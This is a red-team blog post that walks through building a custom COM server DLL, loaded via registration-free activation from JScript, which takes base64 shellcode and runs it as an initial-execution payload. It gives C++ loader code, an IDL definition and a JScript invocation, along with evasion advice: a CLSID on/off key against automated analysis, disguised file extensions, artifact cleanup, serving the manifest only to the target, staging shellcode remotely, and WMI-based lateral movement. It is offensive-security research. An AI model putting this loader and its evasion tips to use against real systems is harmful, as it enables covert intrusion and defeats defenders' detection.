Building a COM Server for Initial Execution

Introduction

Scripting languages, such as JScript, VBScript and VBA, are commonly used in initial execution payloads (i.e. Stage 0) to begin the process of establishing remote access to a target. In most cases each of these scripting languages leverage the COM components to achieve the task such as making a web request, writing a file, starting a process, etc.

This post will expand on previous research and cover writing your own COM server DLL, loading it from scripting languages with registration-free activation, and discussion around weaponization and OPSEC. This was a personal journey that helped me learn a lot more about what happens when you create and use a COM object from JScript. I will also be releasing a PoC COM server that runs provided shellcode.

Previous Work

In the final DerbyCon, @subTee had a fantastic talk called .NET Manifesto: Win Friends and Influence the Loader which I finally took the time to build off of. I would recommend giving it a watch if you haven’t already. As always, subTee presents some great research providing several pointers and breadcrumbs to send you off into your own rabbit holes. I always appreciate hearing his approach and it always spurs some unique and fun ideas. Thanks Casey!

James Forshaw (@tiraniddo) should always be referenced when talking COM. I’m personally convinced he’s the only person on the planet who truly understands its inner workings. I’ve stated this in previous blogs, but this talk is a great overview of COM, COM in 60 Seconds, and makes more sense on the second and third time through!

I also touch on a few COM server related items in my previous post, feel free to skim though that if you haven’t already!

tl;dr

The PoC code can be found here: https://github.com/leoloobeek/COMRunner. In order to make sense of this you may still want to skim through as it may clear things up.

Extending the Windows Script Host (WSH)

Windows Script Host (WSH) languages, such as JScript and VBScript, are fairly limited due to their  intended use case and therefore you can’t directly access the Windows API or .NET. You are really limited to COM object activation to perform interesting things, like writing a file to disk. That’s what makes James Forshaw’s DotNetToJscript so useful as it created a clean, in-memory way to extend the script host to run C# assemblies. We’ve now seen AMSI and other defensive products get on the lookout for the primitives that DotNetToJScript uses and even a .NET 4.8 update that breaks it entirely. Naturally, we see great offensive research that fights back to get around these problems, and the cat/mouse game continues. This is an interesting space and would recommend diving in and understanding its underpinnings.

The technique built on in this post has the same goal: extend the script host. There’s many interesting initial execution vectors that begin with scripting languages whether it be for phishing or lateral movement. The main limitation here is it does require dropping a DLL to disk. While this isn’t as clean in comparison to DotNetToJscript, it provides an alternative solution and may be useful in certain contexts.

Registration Free COM

As shared by subTee in his talk at DerbyCon, we can use the ActCtx COM object to load an arbitrary DLL. This special COM object is used for registration-free (regfree) activation of a COM component. What does that mean? In the majority of COM usage, objects need to be defined within the registry which is where COM clients look when attempting to pull in an object. If you’ve done COM hijacking or are familiar with it, the registry keys you are creating are the same keys and properties created when registering a COM object.

There is A LOT of power here for offensive usage, but we’re just going to look at creating our own DLLs and loading them with regfree COM. This research helped me understand a little more on how to craft manifests to load and create objects in a given DLL.

Finally, the cherry on top is we don’t have to think much about AMSI. AMSI doesn’t have much opportunities (right now) to detect custom built COM servers that are subsequently loaded with registration-free activation.

First Take

I copied the manifest and code from the DerbyCon talk (seriously, just go watch it) and built up a simple C++ DLL to recreate subTee’s PoC. As he states, this manifest and related code will essentially LoadLibrary() the given DLL and you can potentially place your remote access code within DllMain and away you go. Since it’s COM loading a DLL we’re able to follow some knowledge from my previous post, such as adding the DllGetClassObject exported function, which can help avoid doing dangerous things within DllMain.

The manifest and JScript was taken almost directly from subTee’s talk. I missed a closing XML tag within the manifest and it didn’t work right away, looking in the Application Windows event logs gives you a reasonable error message to fix your manifests (better than I’d expect from Windows). You can see my slightly adapted JScript and C++ code at this Gist to get started.

In case you haven’t used or seen registration-free activation or manifests, below is a screenshot of the JScript from the code shared in the Gist. The JScript outlined in red specifies a new temp directory which the script includes in its search for the COM DLL and the associated XML tag to specify the name of the file. The blue pieces indicate how to set the COM ProgID to use when creating our object. Our COM DLL returns CLASS_E_CLASSNOTAVAILABLE therefore we will always receive an error when creating our object and we need to catch it so the process doesn’t throw an exception and crash.

jscript1

 

OPSEC Improvements

This was quick and easy to get up and running. Though there’s a few OPSEC improvements we can make. When loading the DLL with regfree activation the manifest gets dropped in the same directory as the DLL.

RegFreeTmpFile

This could be solved by simply adding some code within our script that’s loading the DLL to also remove the .tmp files within the directory. I’ll leave that part to you.

We can also make some basic changes within the DllGetClassObject to avoid automated analysis. The class GUID could be used as an on/off key as the manifest would need to include the right GUID that the server is expecting to move forward. As long as we’re cleaning up all artifacts that would disclose the manifest we should feel reasonably confident that it will take some closer analysis to use the right GUID to run our full payload.

// 67E11FF1-C068-4C48-A1F5-69A882E0E99A
GUID myClsid = { 0x67e11ff1, 0xc068, 0x4c48, { 0xa1, 0xf5, 0x69, 0xa8, 0x82, 0xe0, 0xe9, 0x9a } };
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
    if (rclsid == myClsid)
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MyThread, NULL, 0, NULL);

    return CLASS_E_CLASSNOTAVAILABLE;
}

We can tack on a less suspicious file extension, such as .png, as COM does not care about file extension. Since manifests are just simply text we could also store the manifest on a web server and add some server-side logic (e.g. mod_rewrite) to avoid serving the manifest text to anyone but our desired target.

I ended up packaging this up and using it on a recent red team op and resulted in successful execution. I won’t share exactly what I did and leave how to fully deploy up to you.

But this is where the real journey began — I had always been interested in writing up a COM server that actually creates objects and methods, and this was a great opportunity to dive in and build it out! Because I didn’t read enough up front (even though I own a COM book), I hit a lot of roadblocks along the way and figured I’d share the fails. Turned out, all the failure helped me gain a better understanding of COM in general.

The Objective

For a PoC to learn how to do this, I decided I wanted a simple COM server which provides a component with methods to take in shellcode and then to run the shellcode. Essentially something like DynamicWrapperX that extends the script host and does fun things I want (and isn’t as heavily signatured as DWX). Be careful of link and download, it’s closed source and I can’t vouch for it: http://dynwrapx.script-coding.com/dwx/pages/dynwrapx.php?lang=en.

Theoretically, I could then build on this and add in new shellcode execution techniques, different ways to copy shellcode, etc. In the future I could even add in evasive measures and balance them between the JScript and the COM server to ultimately get around signatures (think encrypted base64 shellcode in script and decryption routines in COM server). Anyways, let’s tackle the main piece first, building the COM server. Ideally I would want something that can support this JScript:

var myobj = new ActiveXObject(“TestClass”);
myobj.SetData(“<base64 string>”);
myobj.Run();

And so that’s where this blog post will take us!

COM Class and Interfaces

The Gist already has a good starting code structure for a COM server — what we need to add in is our component. If you’ve ever read about COM or looked through OleViewDotNet, you may know that all COM classes need to implement COM defined interfaces. These interfaces are no different than the basic software design concept of interfaces. An interface essentially describes all publicly accessible methods that objects which implement these interfaces must define. This post is a very good overview designed for offensive developers and can help you get up to speed if this is new to you.

My initial naive approach was to have my class implement the IUnknown interface. One of the general rules of COM objects is that every object implements the IUnknown interface. Given this knowledge and a few examples I had seen I figured that was what I needed. Therefore I added a new file and created a new object defined with my object’s methods along with the IUnknown methods.

class TestClass : public IUnknown
{
public:
    // IUnknown
    ULONG __stdcall AddRef();
    ULONG __stdcall Release();
    HRESULT __stdcall QueryInterface(REFIID riid, void** ppv);
    // ITestClass
    HRESULT __stdcall SetData(wchar_t* message);
    HRESULT __stdcall Run();

    // Constructor
    TestClass() : m_cRef(1) {};
    ~TestClass() {
        if (m_pITypeInfo != NULL)
            m_pITypeInfo->Release();
    };
private:
    ULONG m_cRef;
    std::string shellcode;
};

Two of IUnknown’s methods, AddRef() and Release(), deal with reference counting which basically keeps track how many times the object is being “referenced” and when the object reaches zero the COM runtime can release the object. Reference counting works well with a COM server’s DllCanUnloadNow export preventing a process from unloading the module from memory if the COM object is still in use. We just want to make sure these are implemented properly or it will crash the process.

The other method, QueryInterface(), returns a pointer to the interface to the COM client. If the client asks for the Interface ID (IID) of our class our COM server should return a pointer to the interface (and add a reference count).

I had a feeling this wasn’t done but wanted to see what JScript thought of this. I threw in some debugging to stdout to see what was going and saw an error along with an unexpected IID coming into QueryInterface(). I thought the IID would be the same as the CLSID, though the one that appeared was something I hadn’t set myself.

Screen Shot 2020-04-26 at 4.34.37 PM

ClassFactory

Looking into 00000001-0000-0000-C000-000000000046, which looks like a built-in value given all the zeroes, pointed me to IClassFactory. This did sound vaguely familiar, something I’ve seen navigating through OleViewDotNet and found this Microsoft documentation page which puts it simply.

Excerpt: “The basic way to create an instance of a class is through a COM class object. This is simply an intermediate object that supports functions common to creating new instances of a given class. Most class objects used to create objects from a CLSID support the IClassFactory interface, an interface that includes the important CreateInstance method. You implement an IClassFactory interface for each class of object that you offer to be instantiated.”

So we need to have our component also implement IClassFactory. Reading through the MSDN docs on each method for IClassFactory and several articles, I liked the simplicity of how they implemented in this article. I won’t go into too much detail here since its covered in that article and we don’t need to take up more space, if interested in how I got to the code below follow the link starting at Step 6. The code I ended up with is pretty similar to the code within the link.

class TestClassFactory : public IClassFactory
{
public:
    // IUnknown
    ULONG __stdcall AddRef();
    ULONG __stdcall Release();
    HRESULT __stdcall QueryInterface(REFIID riid, void** ppv);
    // IClassFactory
    HRESULT __stdcall CreateInstance(IUnknown* pUnknownOuter, const IID& iid, void** ppv);
    HRESULT __stdcall LockServer(BOOL bLock);

    TestClassFactory() : m_cRef(1) {};

private:
    ULONG m_cRef;
};

The most important new piece is the CreateInstance() method which is where we move the code to create a new TestClass object.

HRESULT __stdcall TestClassFactory::CreateInstance(IUnknown* pUnknownOuter, const IID& iid, void** ppv) {
    if (pUnknownOuter != NULL)
        return CLASS_E_NOAGGREGATION;

    // Create our class object here
    TestClass* testClass = new TestClass;
    if (testClass == NULL)
        return E_OUTOFMEMORY;

    // Call our component's QueryInterface here
    hr = testClass->QueryInterface(iid, ppv);
    testClass->Release();
    return hr;
}

Then back in our DllGetClassObject export, we create our class factory and use query interface which eventually leads to the CreateInstance() call.

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
    TestClassFactory* pFactory = new TestClassFactory();
    HRESULT hr = pFactory->QueryInterface(riid, ppv);
    pFactory->Release();
    return hr;
}

It may be getting a tad confusing now with the addition of IClassFactory, and spoiler alert, addition of another interface coming soon. Here’s a simple diagram of the current state of the project if you’re more of a picture person:

diagram1 (1)

Compiling and reloading with my registration free script I hit the exact same error: “Class doesn’t support Automation”. Up to this point I had a few other indicators that something was wrong but now I was stuck with this error. Which sent me further down into the rabbit hole and learned something I hadn’t known before: generic COM servers do not get automatic support for scripting engines. The COM servers which do support scripting engines are also known as Automation servers.

Moving to an Automation Server

If you had heard of IUnknown, ever looked in OleViewDotNet, or played around with COM I’m sure you’ve also heard of IDispatch. This would turn out to be the final interface I need to solve this problem and it is an important one. The reason why the COM servers created previously haven’t worked is because scripting languages speak to COM servers differently. This is because scripting languages are attempting to load COM objects and run functions by using the ProgID and the name of the respective function (and names of arguments if there are any).This is where IDispatch comes in, it takes those names and executes the desired function. At this stage, I may be “hand waving” a bit, if you want a good in depth description of the how and why this works I’d recommend picking up the Inside COM book and look at Chapter 11.

IDispatch adds in three more functions we need to implement, two of which are important to discuss further: GetIDsOfNames and Invoke. GetIDsOfNames takes in a name (string) of a function and returns a DISPID, or dispatch ID, which corresponds to the actual function. This DISPID is then sent into Invoke and will execute the appropriate code depending on the DISPID. To simplify you could think of a COM server holding an array of function pointers or even a simple switch statement leading to something like the pseudocode below.

void DoSomething() {}
void DoAnotherThing() {}
int GetIDsOfNames (std::string name)
{
    switch(name) {
    case "DoSomething":
        return 1;
        break;
    case "DoAnotherThing":
        return 2;
        break;
    }
    return 0;
}

void Invoke (int dispID)
{
    switch(dispID) {
    case 1:
        DoSomething();
        break;
    case 2:
        DoAnotherThing();
        break;
    }
}

We could probably attempt to write the code manually our self and maybe it would be OK in very simple implementations. That said, most content you’ll read will indicate that attempting to build these functions from scratch will lead to problems. One thing that isn’t implemented above is handling arguments, properties and return values, important pieces when creating COM components and their methods. This leads us to Type Libraries, a cleaner and more efficient way to define our component and aids in implementing IDispatch.

Type Libraries

Type Libraries are there to help us define our COM components in a language independent format. We can then use some included API calls to easily build the answers to GetIDsOfNames and assist calling functions within Invoke. The unfortunate part is this requires a little extra effort to build the type library and load it when our COM server is loaded.

A type can be defined within an IDL (Interface Definition Language) file and compiled with midl.exe, a binary included with Visual Studio. I will say that writing this out helps give the developer (and other users) clarity of what our COM component really looks like. Given the component I’ve been trying to build, the IDL I came up with is below.

// Interface
[
    object,
    uuid(67E11FF0-C068-4C48-A1F5-69A882E0E99A),
    helpstring("Leos Test Class"),
    pointer_default(unique),
    dual,
    oleautomation
]
interface ITestClass : IDispatch
{
    import "oaidl.idl";
    HRESULT SetData([in] BSTR data);
    HRESULT Run();
};

// Type Library
[
    uuid("67E11FF1-C068-4C48-A1F5-69A882E0E99A"),
    version(1.0),
    helpstring("TestClass Type Library")
]
library TestClassLib
{
    importlib("stdole32.tlb");

    [
        uuid("67E11FF2-C068-4C48-A1F5-69A882E0E99A"),
        helpstring("TestClass Component Class")
    ]
    coclass TestClass
    {
        [default] interface ITestClass;
    };
};

This post is getting long already so I encourage you to go out and read the IDL documentation if you’re interested in the format. If you are looking to build your own object simply modifying the values above for your desired methods may be all you need to do. One thing I will note is that there are three different GUIDs defined for each piece with the last hex digit in the first set of values incrementing. This appears to be common practice with COM implementations and our JScript will need to request the GUID of the coclass section to successfully retrieve the object.

Just a note: When going through all this, the standard today seems to be leveraging Active Template Library (ATL) to build your COM components. This felt like more work than it was worth so I neglected ATL and kept on the path of implementing it with an IDL file.

I then needed to run midl.exe file.idl and it will generate source files along with the type library (.TLB).

Screen Shot 2020-05-10 at 4.41.33 PM

Screen Shot 2020-05-10 at 4.41.57 PM

Here’s the updated class code. Note that the class now extends ITestClass which was defined in our IDL and generated into source code after running midl.exe.

class TestClass : public ITestClass
{
public:
    // IUnknown
    ULONG __stdcall AddRef();
    ULONG __stdcall Release();
    HRESULT __stdcall QueryInterface(REFIID riid, void** ppv);
    // IDispatch
    HRESULT __stdcall GetTypeInfoCount(UINT* pctinfo);
    HRESULT __stdcall GetTypeInfo(UINT iTypeInfo, LCID, ITypeInfo** ppTypeInfo);
    HRESULT __stdcall GetIDsOfNames(REFIID riid, LPOLESTR* rgszNames, UINT cNames, LCID, DISPID* rgDispId);
    HRESULT __stdcall Invoke(DISPID dispIdMember, REFIID riid, LCID, WORD wFlags, DISPPARAMS* pDispParams, VARIANT* pVarResult, EXCEPINFO* pExcepInfo, UINT* puArgErr);
    // ITestClass
    HRESULT __stdcall SetData(wchar_t* data);
    HRESULT __stdcall Run();

    // Init loads our Type library
    HRESULT Init();

    // Constructor
    TestClass() : m_cRef(1) {};
    ~TestClass() {
        if (m_pITypeInfo != NULL)
            m_pITypeInfo->Release();
    };

private:
    ULONG m_cRef;
    std::string shellcode;
    ITypeInfo* m_pITypeInfo;
};

Note that I left a function and a pointer to handling the Type Library within my class. Type Libraries are typically thrown into the registry (just like everything with COM, am I right?) and I didn’t like this option for OPSEC considerations. Another option is to also save the TLB to disk and load the file itself which also isn’t ideal. The other alternative is to store the compiled TLB file within my binary as an embedded resource which was the route I took.

In order to store the TLB im my DLL, I first created a .rc file with a single line: 1 typelib "TestClass.tlb". Using the Developer Command Prompt for VS, I ran the rc command to generate a .res file which I ultimately add to my Visual Studio project. This will add a resource of type TYPELIB as the first resource in the binary’s resource directory.

Screen Shot 2020-05-10 at 5.06.18 PM

Since I want my DLL’s file path to exist anywhere, I added code to grab the path to my DLL given the HMODULE at runtime, store it so it’s accessible later on, and then load it via an embedded resource.

// Helper to initialize our Type Library
HRESULT __stdcall TestClass::Init() {
    HRESULT hr;

    if (m_pITypeInfo == NULL)
    {
        ITypeLib* pITypeLib = NULL;
        wchar_t path[MAX_PATH];

        // the TestClassFactory::s_hModule is set within DllMain on load
        // GetModuleFileNameW gets the full path to our DLL at runtime, so we
        // can load the embedded TLB no matter where the DLL is saved
        GetModuleFileNameW(TestClassFactory::s_hModule, path, MAX_PATH);
        hr = LoadTypeLibEx(path, REGKIND_NONE, &pITypeLib);
        if (FAILED(hr))
        {
            return hr;
        }

        // This stores the TypeInfo in our object's private property m_pITypeInfo
        // which will ultimately be used by IDispatch methods 
        hr = pITypeLib->GetTypeInfoOfGuid(IID_ITestClass, &m_pITypeInfo);
        pITypeLib->Release();

        if (FAILED(hr))
        {
            return hr;
        }
    }
    return S_OK;
}

Finally, I needed to add the code to leverage the TLB within the IDispatch functions. I took this code as a starter from the “Inside COM” book and made some very minor changes. It’s crazy simple once you have the TLB built and loading successfully.

HRESULT __stdcall TestClass::GetIDsOfNames(REFIID riid, LPOLESTR* rgszNames, UINT cNames, LCID, DISPID* rgDispId) {
    if (riid != IID_NULL)
        return DISP_E_UNKNOWNINTERFACE;

    HRESULT hr = m_pITypeInfo->GetIDsOfNames(rgszNames, cNames, rgDispId);
    return hr;
}

HRESULT __stdcall TestClass::Invoke(DISPID dispIdMember, REFIID riid, LCID, WORD wFlags, DISPPARAMS* pDispParams, VARIANT* pVarResult, EXCEPINFO* pExcepInfo, UINT* puArgErr) {
    if (riid != IID_NULL)
        return DISP_E_UNKNOWNINTERFACE;

    HRESULT hr = m_pITypeInfo->Invoke(
        static_cast<IDispatch*>(this), dispIdMember, wFlags, pDispParams, pVarResult, pExcepInfo, puArgErr);
    return hr;
}

And that was it! For the visual thinkers, here is the updated diagram with the recent changes added in.

diagram2

Success

In a quick review, I now have a COM component defined in IDL with functions to run shellcode. It implements IDispatch and IUnknown so it can be called by scripting languages, and I also have a class factory which facilitates creating a new object of my component. Ready for the next failure, to my surprise everything worked as expected and I noticed the shellcode ran!

SuccessfulExecution

Building On It

I’m going to leave the fun evasion parts to you, but it is always a fun exercise to think through the possibilities, so here are a few that come to mind:

  • Add some better shellcode loading options. Your objectives may be different than running the shellcode within the same process as the scripting engine is running in.
  • Store your shellcode as an additional stage on a server. JScript pulls down the shellcode and sends to COM server for execution. This gives you the benefit of controlling when the remote access code is actually executed, and also avoids signature detections for storage of shellcode data within the JScript or compiled binary.
  • Copy the DLL to a remote host. Then create a WMI Event Subscription on the remote host to run an ActiveScriptEventConsumer which executes JScript that activates your COM server for some lateral movement. Look at https://github.com/GhostPack/SharpWMI for an example.

Conclusion

I must remind you that nothing in this post was new and was all built on the great work by subTee (Casey Smith). This post ended up getting quite long so if you’ve made it this far I appreciate it! I honestly had to take some things out and had some difficulty choosing which pieces to include, so if you have any questions or are trying it out for yourself don’t hesitate to reach out! You can send me a DM on Twitter @leoloobeek or on the BloodHound Gang slack @leo.

That’s all for now!

COM